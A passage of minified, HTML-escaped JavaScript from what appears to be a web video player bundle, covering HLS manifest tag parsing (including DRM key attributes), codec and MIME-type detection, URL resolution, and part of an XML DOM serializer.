this.manifest||(this.manifest.mediaSequence=0,this.trigger(&quot;info&quot;,{message:&quot;defaulting media sequence to zero&quot;})),&quot;discontinuitySequence&quot;in this.manifest||(this.manifest.discontinuitySequence=0,this.trigger(&quot;info&quot;,{message:&quot;defaulting discontinuity sequence to zero&quot;})),entry.duration&gt;0&amp;&amp;(currentUri.duration=entry.duration),0===entry.duration&amp;&amp;(currentUri.duration=.01,this.trigger(&quot;info&quot;,{message:&quot;updating zero segment duration to a small value&quot;})),this.manifest.segments=uris},key:function(){if(entry.attributes)if(&quot;NONE&quot;!==entry.attributes.METHOD)if(entry.attributes.URI){if(&quot;com.apple.streamingkeydelivery&quot;===entry.attributes.KEYFORMAT)return this.manifest.contentProtection=this.manifest.contentProtection||{},void(this.manifest.contentProtection[&quot;com.apple.fps.1_0&quot;]={attributes:entry.attributes});if(&quot;urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed&quot;===entry.attributes.KEYFORMAT){return-1===[&quot;SAMPLE-AES&quot;,&quot;SAMPLE-AES-CTR&quot;,&quot;SAMPLE-AES-CENC&quot;].indexOf(entry.attributes.METHOD)?void this.trigger(&quot;warn&quot;,{message:&quot;invalid key method provided for Widevine&quot;}):(&quot;SAMPLE-AES-CENC&quot;===entry.attributes.METHOD&amp;&amp;this.trigger(&quot;warn&quot;,{message:&quot;SAMPLE-AES-CENC is deprecated, please use SAMPLE-AES-CTR instead&quot;}),&quot;data:text/plain;base64,&quot;!==entry.attributes.URI.substring(0,23)?void this.trigger(&quot;warn&quot;,{message:&quot;invalid key URI provided for Widevine&quot;}):entry.attributes.KEYID&amp;&amp;&quot;0x&quot;===entry.attributes.KEYID.substring(0,2)?(this.manifest.contentProtection=this.manifest.contentProtection||{},void(this.manifest.contentProtection[&quot;com.widevine.alpha&quot;]={attributes:{schemeIdUri:entry.attributes.KEYFORMAT,keyId:entry.attributes.KEYID.substring(2)},pssh:decodeB64ToUint8Array(entry.attributes.URI.split(&quot;,&quot;)[1])})):void this.trigger(&quot;warn&quot;,{message:&quot;invalid key ID provided for Widevine&quot;}))}entry.attributes.METHOD||this.trigger(&quot;warn&quot;,{message:&quot;defaulting key method to AES-128&quot;}),_key={method:entry.attributes.METHOD||&quot;AES-128&quot;,uri:entry.attributes.URI},void 0!==entry.attributes.IV&amp;&amp;(_key.iv=entry.attributes.IV)}else this.trigger(&quot;warn&quot;,{message:&quot;ignoring key declaration without URI&quot;});else _key=null;else this.trigger(&quot;warn&quot;,{message:&quot;ignoring key declaration without attribute list&quot;})},&quot;media-sequence&quot;:function(){isFinite(entry.number)?this.manifest.mediaSequence=entry.number:this.trigger(&quot;warn&quot;,{message:&quot;ignoring invalid media sequence: &quot;+entry.number})},&quot;discontinuity-sequence&quot;:function(){isFinite(entry.number)?(this.manifest.discontinuitySequence=entry.number,currentTimeline=entry.number):this.trigger(&quot;warn&quot;,{message:&quot;ignoring invalid discontinuity sequence: &quot;+entry.number})},&quot;playlist-type&quot;:function(){/VOD|EVENT/.test(entry.playlistType)?this.manifest.playlistType=entry.playlistType:this.trigger(&quot;warn&quot;,{message:&quot;ignoring unknown playlist type: &quot;+entry.playlist})},map:function(){currentMap={},entry.uri&amp;&amp;(currentMap.uri=entry.uri),entry.byterange&amp;&amp;(currentMap.byterange=entry.byterange),_key&amp;&amp;(currentMap.key=_key)},&quot;stream-inf&quot;:function(){this.manifest.playlists=uris,this.manifest.mediaGroups=this.manifest.mediaGroups||defaultMediaGroups,entry.attributes?(currentUri.attributes||(currentUri.attributes={}),_extends_1(currentUri.attributes,entry.attributes)):this.trigger(&quot;warn&quot;,{message:&quot;ignoring empty stream-inf attributes&quot;})},media:function(){if(this.manifest.mediaGroups=this.manifest.mediaGroups||defaultMediaGroups,entry.attributes&amp;&amp;entry.attributes.TYPE&amp;&amp;entry.attributes[&quot;GROUP-ID&quot;]&amp;&amp;entry.attributes.NAME){var mediaGroupType=this.manifest.mediaGroups[entry.attributes.TYPE];mediaGroupType[entry.attributes[&quot;GROUP-ID&quot;]]=mediaGroupType[entry.attributes[&quot;GROUP-ID&quot;]]||{},mediaGroup=mediaGroupType[entry.attributes[&quot;GROUP-ID&quot;]],(rendition={default:/yes/i.test(entry.attributes.DEFAULT)}).default?rendition.autoselect=!0:rendition.autoselect=/yes/i.test(entry.attributes.AUTOSELECT),entry.attributes.LANGUAGE&amp;&amp;(rendition.language=entry.attributes.LANGUAGE),entry.attributes.URI&amp;&amp;(rendition.uri=entry.attributes.URI),entry.attributes[&quot;INSTREAM-ID&quot;]&amp;&amp;(rendition.instreamId=entry.attributes[&quot;INSTREAM-ID&quot;]),entry.attributes.CHARACTERISTICS&amp;&amp;(rendition.characteristics=entry.attributes.CHARACTERISTICS),entry.attributes.FORCED&amp;&amp;(rendition.forced=/yes/i.test(entry.attributes.FORCED)),mediaGroup[entry.attributes.NAME]=rendition}else this.trigger(&quot;warn&quot;,{message:&quot;ignoring incomplete or missing media group&quot;})},discontinuity:function(){currentTimeline+=1,currentUri.discontinuity=!0,this.manifest.discontinuityStarts.push(uris.length)},&quot;program-date-time&quot;:function(){void 0===this.manifest.dateTimeString&amp;&amp;(this.manifest.dateTimeString=entry.dateTimeString,this.manifest.dateTimeObject=entry.dateTimeObject),currentUri.dateTimeString=entry.dateTimeString,currentUri.dateTimeObject=entry.dateTimeObject},targetduration:function(){!isFinite(entry.duration)||entry.duration&lt;0?this.trigger(&quot;warn&quot;,{message:&quot;ignoring invalid target duration: &quot;+entry.duration}):(this.manifest.targetDuration=entry.duration,setHoldBack.call(this,this.manifest))},start:function(){entry.attributes&amp;&amp;!isNaN(entry.attributes[&quot;TIME-OFFSET&quot;])?this.manifest.start={timeOffset:entry.attributes[&quot;TIME-OFFSET&quot;],precise:entry.attributes.PRECISE}:this.trigger(&quot;warn&quot;,{message:&quot;ignoring start declaration without appropriate attribute list&quot;})},&quot;cue-out&quot;:function(){currentUri.cueOut=entry.data},&quot;cue-out-cont&quot;:function(){currentUri.cueOutCont=entry.data},&quot;cue-in&quot;:function(){currentUri.cueIn=entry.data},skip:function(){this.manifest.skip=camelCaseKeys(entry.attributes),this.warnOnMissingAttributes_(&quot;#EXT-X-SKIP&quot;,entry.attributes,[&quot;SKIPPED-SEGMENTS&quot;])},part:function(){var _this2=this;hasParts=!0;var segmentIndex=this.manifest.segments.length,part=camelCaseKeys(entry.attributes);currentUri.parts=currentUri.parts||[],currentUri.parts.push(part),part.byterange&amp;&amp;(part.byterange.hasOwnProperty(&quot;offset&quot;)||(part.byterange.offset=lastPartByterangeEnd),lastPartByterangeEnd=part.byterange.offset+part.byterange.length);var partIndex=currentUri.parts.length-1;this.warnOnMissingAttributes_(&quot;#EXT-X-PART #&quot;+partIndex+&quot; for segment #&quot;+segmentIndex,entry.attributes,[&quot;URI&quot;,&quot;DURATION&quot;]),this.manifest.renditionReports&amp;&amp;this.manifest.renditionReports.forEach((function(r,i){r.hasOwnProperty(&quot;lastPart&quot;)||_this2.trigger(&quot;warn&quot;,{message:&quot;#EXT-X-RENDITION-REPORT #&quot;+i+&quot; lacks required attribute(s): LAST-PART&quot;})}))},&quot;server-control&quot;:function(){var attrs=this.manifest.serverControl=camelCaseKeys(entry.attributes);attrs.hasOwnProperty(&quot;canBlockReload&quot;)||(attrs.canBlockReload=!1,this.trigger(&quot;info&quot;,{message:&quot;#EXT-X-SERVER-CONTROL defaulting CAN-BLOCK-RELOAD to false&quot;})),setHoldBack.call(this,this.manifest),attrs.canSkipDateranges&amp;&amp;!attrs.hasOwnProperty(&quot;canSkipUntil&quot;)&amp;&amp;this.trigger(&quot;warn&quot;,{message:&quot;#EXT-X-SERVER-CONTROL lacks required attribute CAN-SKIP-UNTIL which is required when CAN-SKIP-DATERANGES is set&quot;})},&quot;preload-hint&quot;:function(){var segmentIndex=this.manifest.segments.length,hint=camelCaseKeys(entry.attributes),isPart=hint.type&amp;&amp;&quot;PART&quot;===hint.type;currentUri.preloadHints=currentUri.preloadHints||[],currentUri.preloadHints.push(hint),hint.byterange&amp;&amp;(hint.byterange.hasOwnProperty(&quot;offset&quot;)||(hint.byterange.offset=isPart?lastPartByterangeEnd:0,isPart&amp;&amp;(lastPartByterangeEnd=hint.byterange.offset+hint.byterange.length)));var index=currentUri.preloadHints.length-1;if(this.warnOnMissingAttributes_(&quot;#EXT-X-PRELOAD-HINT #&quot;+index+&quot; for segment #&quot;+segmentIndex,entry.attributes,[&quot;TYPE&quot;,&quot;URI&quot;]),hint.type)for(var i=0;i&lt;currentUri.preloadHints.length-1;i++){var otherHint=currentUri.preloadHints[i];otherHint.type&amp;&amp;(otherHint.type===hint.type&amp;&amp;this.trigger(&quot;warn&quot;,{message:&quot;#EXT-X-PRELOAD-HINT #&quot;+index+&quot; for segment #&quot;+segmentIndex+&quot; has the same TYPE &quot;+hint.type+&quot; as preload hint #&quot;+i}))}},&quot;rendition-report&quot;:function(){var report=camelCaseKeys(entry.attributes);this.manifest.renditionReports=this.manifest.renditionReports||[],this.manifest.renditionReports.push(report);var index=this.manifest.renditionReports.length-1,required=[&quot;LAST-MSN&quot;,&quot;URI&quot;];hasParts&amp;&amp;required.push(&quot;LAST-PART&quot;),this.warnOnMissingAttributes_(&quot;#EXT-X-RENDITION-REPORT #&quot;+index,entry.attributes,required)},&quot;part-inf&quot;:function(){this.manifest.partInf=camelCaseKeys(entry.attributes),this.warnOnMissingAttributes_(&quot;#EXT-X-PART-INF&quot;,entry.attributes,[&quot;PART-TARGET&quot;]),this.manifest.partInf.partTarget&amp;&amp;(this.manifest.partTargetDuration=this.manifest.partInf.partTarget),setHoldBack.call(this,this.manifest)}}[entry.tagType]||noop).call(self)},uri:function(){currentUri.uri=entry.uri,uris.push(currentUri),this.manifest.targetDuration&amp;&amp;!(&quot;duration&quot;in currentUri)&amp;&amp;(this.trigger(&quot;warn&quot;,{message:&quot;defaulting segment duration to the target duration&quot;}),currentUri.duration=this.manifest.targetDuration),_key&amp;&amp;(currentUri.key=_key),currentUri.timeline=currentTimeline,currentMap&amp;&amp;(currentUri.map=currentMap),lastPartByterangeEnd=0,currentUri={}},comment:function(){},custom:function(){entry.segment?(currentUri.custom=currentUri.custom||{},currentUri.custom[entry.customType]=entry.data):(this.manifest.custom=this.manifest.custom||{},this.manifest.custom[entry.customType]=entry.data)}})[entry.type].call(self)})),_this}inheritsLoose(Parser,_Stream);var _proto=Parser.prototype;return _proto.warnOnMissingAttributes_=function(identifier,attributes,required){var missing=[];required.forEach((function(key){attributes.hasOwnProperty(key)||missing.push(key)})),missing.length&amp;&amp;this.trigger(&quot;warn&quot;,{message:identifier+&quot; lacks required attribute(s): &quot;+missing.join(&quot;, &quot;)})},_proto.push=function(chunk){this.lineStream.push(chunk)},_proto.end=function(){this.lineStream.push(&quot;\n&quot;),this.trigger(&quot;end&quot;)},_proto.addParser=function(options){this.parseStream.addParser(options)},_proto.addTagMapper=function(options){this.parseStream.addTagMapper(options)},Parser}(Stream),regexs={mp4:/^(av0?1|avc0?[1234]|vp0?9|flac|opus|mp3|mp4a|mp4v|stpp.ttml.im1t)/,webm:/^(vp0?[89]|av0?1|opus|vorbis)/,ogg:/^(vp0?[89]|theora|flac|opus|vorbis)/,video:/^(av0?1|avc0?[1234]|vp0?[89]|hvc1|hev1|theora|mp4v)/,audio:/^(mp4a|flac|vorbis|opus|ac-[34]|ec-3|alac|mp3|speex|aac)/,text:/^(stpp.ttml.im1t)/,muxerVideo:/^(avc0?1)/,muxerAudio:/^(mp4a)/,muxerText:/a^/},mediaTypes=[&quot;video&quot;,&quot;audio&quot;,&quot;text&quot;],upperMediaTypes=[&quot;Video&quot;,&quot;Audio&quot;,&quot;Text&quot;],translateLegacyCodec=function(codec){return codec?codec.replace(/avc1\.(\d+)\.(\d+)/i,(function(orig,profile,avcLevel){return&quot;avc1.&quot;+(&quot;00&quot;+Number(profile).toString(16)).slice(-2)+&quot;00&quot;+(&quot;00&quot;+Number(avcLevel).toString(16)).slice(-2)})):codec},parseCodecs=function(codecString){void 0===codecString&amp;&amp;(codecString=&quot;&quot;);var codecs=codecString.split(&quot;,&quot;),result=[];return codecs.forEach((function(codec){var codecType;codec=codec.trim(),mediaTypes.forEach((function(name){var match=regexs[name].exec(codec.toLowerCase());if(match&amp;&amp;!(match.length&lt;=1)){codecType=name;var type=codec.substring(0,match[1].length),details=codec.replace(type,&quot;&quot;);result.push({type:type,details:details,mediaType:name})}})),codecType||result.push({type:codec,details:&quot;&quot;,mediaType:&quot;unknown&quot;})})),result},isAudioCodec=function(codec){return void 0===codec&amp;&amp;(codec=&quot;&quot;),regexs.audio.test(codec.trim().toLowerCase())},getMimeForCodec=function(codecString){if(codecString&amp;&amp;&quot;string&quot;==typeof codecString){var codec,codecs=codecString.toLowerCase().split(&quot;,&quot;).map((function(c){return translateLegacyCodec(c.trim())})),type=&quot;video&quot;;1===codecs.length&amp;&amp;isAudioCodec(codecs[0])?type=&quot;audio&quot;:1===codecs.length&amp;&amp;(void 0===(codec=codecs[0])&amp;&amp;(codec=&quot;&quot;),regexs.text.test(codec.trim().toLowerCase()))&amp;&amp;(type=&quot;application&quot;);var container=&quot;mp4&quot;;return codecs.every((function(c){return regexs.mp4.test(c)}))?container=&quot;mp4&quot;:codecs.every((function(c){return regexs.webm.test(c)}))?container=&quot;webm&quot;:codecs.every((function(c){return regexs.ogg.test(c)}))&amp;&amp;(container=&quot;ogg&quot;),type+&quot;/&quot;+container+&#039;;codecs=&quot;&#039;+codecString+&#039;&quot;&#039;}},browserSupportsCodec=function(codecString){return void 0===codecString&amp;&amp;(codecString=&quot;&quot;),window.MediaSource&amp;&amp;window.MediaSource.isTypeSupported&amp;&amp;window.MediaSource.isTypeSupported(getMimeForCodec(codecString))||!1},muxerSupportsCodec=function(codecString){return void 0===codecString&amp;&amp;(codecString=&quot;&quot;),codecString.toLowerCase().split(&quot;,&quot;).every((function(codec){codec=codec.trim();for(var i=0;i&lt;upperMediaTypes.length;i++){if(regexs[&quot;muxer&quot;+upperMediaTypes[i]].test(codec))return!0}return!1}))},MPEGURL_REGEX=/^(audio|video|application)\/(x-|vnd\.apple\.)?mpegurl/i,DASH_REGEX=/^application\/dash\+xml/i,simpleTypeFromSourceType=function(type){return MPEGURL_REGEX.test(type)?&quot;hls&quot;:DASH_REGEX.test(type)?&quot;dash&quot;:&quot;application/vnd.videojs.vhs+json&quot;===type?&quot;vhs-json&quot;:null},resolveUrl$1=function(baseUrl,relativeUrl){if(/^[a-z]+:/i.test(relativeUrl))return relativeUrl;/^data:/.test(baseUrl)&amp;&amp;(baseUrl=window.location&amp;&amp;window.location.href||&quot;&quot;);var nativeURL=&quot;function&quot;==typeof window.URL,protocolLess=/^\/\//.test(baseUrl),removeLocation=!window.location&amp;&amp;!/\/\//i.test(baseUrl);if(nativeURL?baseUrl=new window.URL(baseUrl,window.location||&quot;http://example.com&quot;):/\/\//i.test(baseUrl)||(baseUrl=urlToolkit.buildAbsoluteURL(window.location&amp;&amp;window.location.href||&quot;&quot;,baseUrl)),nativeURL){var newUrl=new URL(relativeUrl,baseUrl);return removeLocation?newUrl.href.slice(&quot;http://example.com&quot;.length):protocolLess?newUrl.href.slice(newUrl.protocol.length):newUrl.href}return urlToolkit.buildAbsoluteURL(baseUrl,relativeUrl)};function freeze(object,oc){return void 0===oc&amp;&amp;(oc=Object),oc&amp;&amp;&quot;function&quot;==typeof oc.freeze?oc.freeze(object):object}var MIME_TYPE=freeze({HTML:&quot;text/html&quot;,isHTML:function(value){return value===MIME_TYPE.HTML},XML_APPLICATION:&quot;application/xml&quot;,XML_TEXT:&quot;text/xml&quot;,XML_XHTML_APPLICATION:&quot;application/xhtml+xml&quot;,XML_SVG_IMAGE:&quot;image/svg+xml&quot;}),NAMESPACE$3=freeze({HTML:&quot;http://www.w3.org/1999/xhtml&quot;,isHTML:function(uri){return uri===NAMESPACE$3.HTML},SVG:&quot;http://www.w3.org/2000/svg&quot;,XML:&quot;http://www.w3.org/XML/1998/namespace&quot;,XMLNS:&quot;http://www.w3.org/2000/xmlns/&quot;}),conventions={freeze:freeze,MIME_TYPE:MIME_TYPE,NAMESPACE:NAMESPACE$3},NAMESPACE$2=conventions.NAMESPACE;function notEmptyString(input){return&quot;&quot;!==input}function orderedSetReducer(current,element){return current.hasOwnProperty(element)||(current[element]=!0),current}function toOrderedSet(input){if(!input)return[];var list=function(input){return input?input.split(/[\t\n\f\r ]+/).filter(notEmptyString):[]}(input);return Object.keys(list.reduce(orderedSetReducer,{}))}function copy(src,dest){for(var p in src)dest[p]=src[p]}function _extends(Class,Super){var pt=Class.prototype;if(!(pt instanceof Super)){var t=function(){};t.prototype=Super.prototype,copy(pt,t=new t),Class.prototype=pt=t}pt.constructor!=Class&amp;&amp;(&quot;function&quot;!=typeof Class&amp;&amp;console.error(&quot;unknown Class:&quot;+Class),pt.constructor=Class)}var NodeType={},ELEMENT_NODE=NodeType.ELEMENT_NODE=1,ATTRIBUTE_NODE=NodeType.ATTRIBUTE_NODE=2,TEXT_NODE=NodeType.TEXT_NODE=3,CDATA_SECTION_NODE=NodeType.CDATA_SECTION_NODE=4,ENTITY_REFERENCE_NODE=NodeType.ENTITY_REFERENCE_NODE=5,ENTITY_NODE=NodeType.ENTITY_NODE=6,PROCESSING_INSTRUCTION_NODE=NodeType.PROCESSING_INSTRUCTION_NODE=7,COMMENT_NODE=NodeType.COMMENT_NODE=8,DOCUMENT_NODE=NodeType.DOCUMENT_NODE=9,DOCUMENT_TYPE_NODE=NodeType.DOCUMENT_TYPE_NODE=10,DOCUMENT_FRAGMENT_NODE=NodeType.DOCUMENT_FRAGMENT_NODE=11,NOTATION_NODE=NodeType.NOTATION_NODE=12,ExceptionCode={},ExceptionMessage={};ExceptionCode.INDEX_SIZE_ERR=(ExceptionMessage[1]=&quot;Index size error&quot;,1),ExceptionCode.DOMSTRING_SIZE_ERR=(ExceptionMessage[2]=&quot;DOMString size error&quot;,2);var HIERARCHY_REQUEST_ERR=ExceptionCode.HIERARCHY_REQUEST_ERR=(ExceptionMessage[3]=&quot;Hierarchy request error&quot;,3);ExceptionCode.WRONG_DOCUMENT_ERR=(ExceptionMessage[4]=&quot;Wrong document&quot;,4),ExceptionCode.INVALID_CHARACTER_ERR=(ExceptionMessage[5]=&quot;Invalid character&quot;,5),ExceptionCode.NO_DATA_ALLOWED_ERR=(ExceptionMessage[6]=&quot;No data allowed&quot;,6),ExceptionCode.NO_MODIFICATION_ALLOWED_ERR=(ExceptionMessage[7]=&quot;No modification allowed&quot;,7);var NOT_FOUND_ERR=ExceptionCode.NOT_FOUND_ERR=(ExceptionMessage[8]=&quot;Not found&quot;,8);ExceptionCode.NOT_SUPPORTED_ERR=(ExceptionMessage[9]=&quot;Not supported&quot;,9);var INUSE_ATTRIBUTE_ERR=ExceptionCode.INUSE_ATTRIBUTE_ERR=(ExceptionMessage[10]=&quot;Attribute in use&quot;,10);function DOMException(code,message){if(message instanceof Error)var error=message;else error=this,Error.call(this,ExceptionMessage[code]),this.message=ExceptionMessage[code],Error.captureStackTrace&amp;&amp;Error.captureStackTrace(this,DOMException);return error.code=code,message&amp;&amp;(this.message=this.message+&quot;: &quot;+message),error}function NodeList(){}function LiveNodeList(node,refresh){this._node=node,this._refresh=refresh,_updateLiveList(this)}function _updateLiveList(list){var inc=list._node._inc||list._node.ownerDocument._inc;if(list._inc!=inc){var ls=list._refresh(list._node);__set__(list,&quot;length&quot;,ls.length),copy(ls,list),list._inc=inc}}function NamedNodeMap(){}function _findNodeIndex(list,node){for(var i=list.length;i--;)if(list[i]===node)return i}function _addNamedNode(el,list,newAttr,oldAttr){if(oldAttr?list[_findNodeIndex(list,oldAttr)]=newAttr:list[list.length++]=newAttr,el){newAttr.ownerElement=el;var doc=el.ownerDocument;doc&amp;&amp;(oldAttr&amp;&amp;_onRemoveAttribute(doc,el,oldAttr),function(doc,el,newAttr){doc&amp;&amp;doc._inc++,newAttr.namespaceURI===NAMESPACE$2.XMLNS&amp;&amp;(el._nsMap[newAttr.prefix?newAttr.localName:&quot;&quot;]=newAttr.value)}(doc,el,newAttr))}}function _removeNamedNode(el,list,attr){var i=_findNodeIndex(list,attr);if(!(i&gt;=0))throw DOMException(NOT_FOUND_ERR,new Error(el.tagName+&quot;@&quot;+attr));for(var lastIndex=list.length-1;i&lt;lastIndex;)list[i]=list[++i];if(list.length=lastIndex,el){var doc=el.ownerDocument;doc&amp;&amp;(_onRemoveAttribute(doc,el,attr),attr.ownerElement=null)}}function DOMImplementation$1(){}function Node(){}function _xmlEncoder(c){return(&quot;&lt;&quot;==c?&quot;&amp;lt;&quot;:&quot;&gt;&quot;==c&amp;&amp;&quot;&amp;gt;&quot;)||&quot;&amp;&quot;==c&amp;&amp;&quot;&amp;amp;&quot;||&#039;&quot;&#039;==c&amp;&amp;&quot;&amp;quot;&quot;||&quot;&amp;#&quot;+c.charCodeAt()+&quot;;&quot;}function _visitNode(node,callback){if(callback(node))return!0;if(node=node.firstChild)do{if(_visitNode(node,callback))return!0}while(node=node.nextSibling)}function Document(){}function _onRemoveAttribute(doc,el,newAttr,remove){doc&amp;&amp;doc._inc++,newAttr.namespaceURI===NAMESPACE$2.XMLNS&amp;&amp;delete el._nsMap[newAttr.prefix?newAttr.localName:&quot;&quot;]}function _onUpdateChild(doc,el,newChild){if(doc&amp;&amp;doc._inc){doc._inc++;var cs=el.childNodes;if(newChild)cs[cs.length++]=newChild;else{for(var child=el.firstChild,i=0;child;)cs[i++]=child,child=child.nextSibling;cs.length=i}}}function _removeChild(parentNode,child){var previous=child.previousSibling,next=child.nextSibling;return previous?previous.nextSibling=next:parentNode.firstChild=next,next?next.previousSibling=previous:parentNode.lastChild=previous,_onUpdateChild(parentNode.ownerDocument,parentNode),child}function _insertBefore(parentNode,newChild,nextChild){var cp=newChild.parentNode;if(cp&amp;&amp;cp.removeChild(newChild),newChild.nodeType===DOCUMENT_FRAGMENT_NODE){var newFirst=newChild.firstChild;if(null==newFirst)return newChild;var newLast=newChild.lastChild}else newFirst=newLast=newChild;var pre=nextChild?nextChild.previousSibling:parentNode.lastChild;newFirst.previousSibling=pre,newLast.nextSibling=nextChild,pre?pre.nextSibling=newFirst:parentNode.firstChild=newFirst,null==nextChild?parentNode.lastChild=newLast:nextChild.previousSibling=newLast;do{newFirst.parentNode=parentNode}while(newFirst!==newLast&amp;&amp;(newFirst=newFirst.nextSibling));return _onUpdateChild(parentNode.ownerDocument||parentNode,parentNode),newChild.nodeType==DOCUMENT_FRAGMENT_NODE&amp;&amp;(newChild.firstChild=newChild.lastChild=null),newChild}function Element(){this._nsMap={}}function Attr(){}function CharacterData(){}function Text(){}function Comment(){}function CDATASection(){}function DocumentType(){}function Notation(){}function Entity(){}function EntityReference(){}function DocumentFragment(){}function ProcessingInstruction(){}function XMLSerializer$1(){}function nodeSerializeToString(isHtml,nodeFilter){var buf=[],refNode=9==this.nodeType&amp;&amp;this.documentElement||this,prefix=refNode.prefix,uri=refNode.namespaceURI;if(uri&amp;&amp;null==prefix&amp;&amp;null==(prefix=refNode.lookupPrefix(uri)))var visibleNamespaces=[{namespace:uri,prefix:null}];return serializeToString(this,buf,isHtml,nodeFilter,visibleNamespaces),buf.join(&quot;&quot;)}function needNamespaceDefine(node,isHTML,visibleNamespaces){var prefix=node.prefix||&quot;&quot;,uri=node.namespaceURI;if(!uri)return!1;if(&quot;xml&quot;===prefix&amp;&amp;uri===NAMESPACE$2.XML||uri===NAMESPACE$2.XMLNS)return!1;for(var i=visibleNamespaces.length;i--;){var ns=visibleNamespaces[i];if(ns.prefix===prefix)return ns.namespace!==uri}return!0}function addSerializedAttribute(buf,qualifiedName,value){buf.push(&quot; &quot;,qualifiedName,&#039;=&quot;&#039;,value.replace(/[&lt;&amp;&quot;]/g,_xmlEncoder),&#039;&quot;&#039;)}function serializeToString(node,buf,isHTML,nodeFilter,visibleNamespaces){if(visibleNamespaces||(visibleNamespaces=[]),nodeFilter){if(!(node=nodeFilter(node)))return;if(&quot;string&quot;==typeof node)return void buf.push(node)}switch(node.nodeType){case ELEMENT_NODE:var attrs=node.attributes,len=attrs.length,child=node.firstChild,nodeName=node.tagName,prefixedNodeName=nodeName;if(!(isHTML=NAMESPACE$2.isHTML(node.namespaceURI)||isHTML)&amp;&amp;!node.prefix&amp;&amp;node.namespaceURI){for(var defaultNS,ai=0;ai&lt;attrs.length;ai++)if(&quot;xmlns&quot;===attrs.item(ai).name){defaultNS=attrs.item(ai).value;break}if(!defaultNS)for(var nsi=visibleNamespaces.length-1;nsi&gt;=0;nsi--){if(&quot;&quot;===(namespace=visibleNamespaces[nsi]).prefix&amp;&amp;namespace.namespace===node.namespaceURI){defaultNS=namespace.namespace;break}}if(defaultNS!==node.namespaceURI)for(nsi=visibleNamespaces.length-1;nsi&gt;=0;nsi--){var namespace;if((namespace=visibleNamespaces[nsi]).namespace===node.namespaceURI){namespace.prefix&amp;&amp;(prefixedNodeName=namespace.prefix+&quot;:&quot;+nodeName);break}}}buf.push(&quot;&lt;&quot;,prefixedNodeName);for(var i=0;i&lt;len;i++){&quot;xmlns&quot;==(attr=attrs.item(i)).prefix?visibleNamespaces.push({prefix:attr.localName,namespace:attr.value}):&quot;xmlns&quot;==attr.nodeName&amp;&amp;visibleNamespaces.push({prefix:&quot;&quot;,namespace:attr.value})}for(i=0;i&lt;len;i++){var attr,prefix,uri;if(needNamespaceDefine(attr=attrs.item(i),0,visibleNamespaces))addSerializedAttribute(buf,(prefix=attr.prefix||&quot;&quot;)?&quot;xmlns:&quot;+prefix:&quot;xmlns&quot;,uri=attr.namespaceURI),visibleNamespaces.push({prefix:prefix,namespace:uri});serializeToString(attr,buf,isHTML,nodeFilter,visibleNamespaces)}if(nodeName===prefixedNodeName&amp;&amp;needNamespaceDefine(node,0,visibleNamespaces))addSerializedAttribute(buf,(prefix=node.prefix||&quot;&quot;)?&quot;xmlns:&quot;+prefix:&quot;xmlns&quot;,uri=node.namespaceURI),visibleNamespaces.push({prefix:prefix,namespace:uri});if(child||isHTML&amp;&amp;!/^(?:meta|link|img|br|hr|input)$/i.test(nodeName)){if(buf.push(&quot;&gt;&quot;),isHTML&amp;&amp;/^script$/i.test(nodeName))for(;child;)child.data?buf.push(child.data):serializeToString(child,buf,isHTML,nodeFilter,visibleNamespaces.slice()),child=child.nextSibling;else for(;child;)serializeToString(child,buf,isHTML,nodeFilter,visibleNamespaces.slice()),child=child.nextSibling;buf.push(&quot;&lt;/&quot;,prefixedNodeName,&quot;&gt;&quot;)}else buf.push(&quot;/&gt;&quot;);return;case DOCUMENT_NODE:case DOCUMENT_FRAGMENT_NODE:for(child=node.firstChild;child;)serializeToString(child,buf,isHTML,nodeFilter,visibleNamespaces.slice()),child=child.nextSibling;return;case ATTRIBUTE_NODE:return addSerializedAttribute(buf,node.name,node.value);case TEXT_NODE:return buf.push(node.data.replace(/[&lt;&amp;]/g,_xmlEncoder).replace(/]]&gt;/g,&quot;]]&amp;gt;&quot;));case CDATA_SECTION_NODE:return buf.push(&quot;&lt;![CDATA[&quot;,node.data,&quot;]]&gt;&quot;);case COMMENT_NODE:return buf.push(&quot;\x3c!--&quot;,node.data,&quot;--\x3e&quot;);case DOCUMENT_TYPE_NODE:var pubid=node.publicId,sysid=node.systemId;if(buf.push(&quot;&lt;!DOCTYPE &quot;,node.name),pubid)buf.push(&quot; PUBLIC &quot;,pubid),sysid&amp;&amp;&quot;.&quot;!=sysid&amp;&amp;buf.push(&quot; &quot;,sysid),buf.push(&quot;&gt;&quot;);else if(sysid&amp;&amp;&quot;.&quot;!=sysid)buf.push(&quot; SYSTEM &quot;,sysid,&quot;&gt;&quot;);else{var sub=node.internalSubset;sub&amp;&amp;buf.push(&quot; [&quot;,sub,&quot;]&quot;),buf.push(&quot;&gt;&quot;)}return;case PROCESSING_INSTRUCTION_NODE:return buf.push(&quot;&lt;?&quot;,node.target,&quot; &quot;,node.data,&quot;?&gt;&quot;);case ENTITY_REFERENCE_NODE:return buf.push(&quot;&amp;&quot;,node.nodeName,&quot;;&quot;);default:buf.push(&quot;??&quot;,node.nodeName)}}function _importNode(doc,node,deep){var node2;switch(node.nodeType){case ELEMENT_NODE:(node2=node.cloneNode(!1)).ownerDocument=doc;case DOCUMENT_FRAGMENT_NODE:break;case ATTRIBUTE_NODE:deep=!0}if(node2||(node2=node.cloneNode(!1)),node2.ownerDocument=doc,node2.parentNode=null,deep)for(var child=node.firstChild;child;)node2.appendChild(_importNode(doc,child,deep)),child=child.nextSibling;return node2}function _cloneNode(doc,node,deep){var node2=new node.constructor;for(var n in node){var v=node[n];&quot;object&quot;!=typeof v&amp;&amp;v!=node2[n]&amp;&amp;(node2[n]=v)}switch(node.childNodes&amp;&amp;(node2.childNodes=new NodeList),node2.ownerDocument=doc,node2.nodeType){case ELEMENT_NODE:var attrs=node.attributes,attrs2=node2.attributes=new NamedNodeMap,len=attrs.length;attrs2._ownerElement=node2;for(var i=0;i&lt;len;i++)node2.setAttributeNode(_cloneNode(doc,attrs.item(i),!0));break;case ATTRIBUTE_NODE:deep=!0}if(deep)for(var child=node.firstChild;child;)node2.appendChild(_cloneNode(doc,child,deep)),child=child.nextSibling;return node2}function __set__(object,key,value){object[key]=value}ExceptionCode.INVALID_STATE_ERR=(ExceptionMessage[11]=&quot;Invalid state&quot;,11),ExceptionCode.SYNTAX_ERR=(ExceptionMessage[12]=&quot;Syntax error&quot;,12),ExceptionCode.INVALID_MODIFICATION_ERR=(ExceptionMessage[13]=&quot;Invalid modification&quot;,13),ExceptionCode.NAMESPACE_ERR=(ExceptionMessage[14]=&quot;Invalid 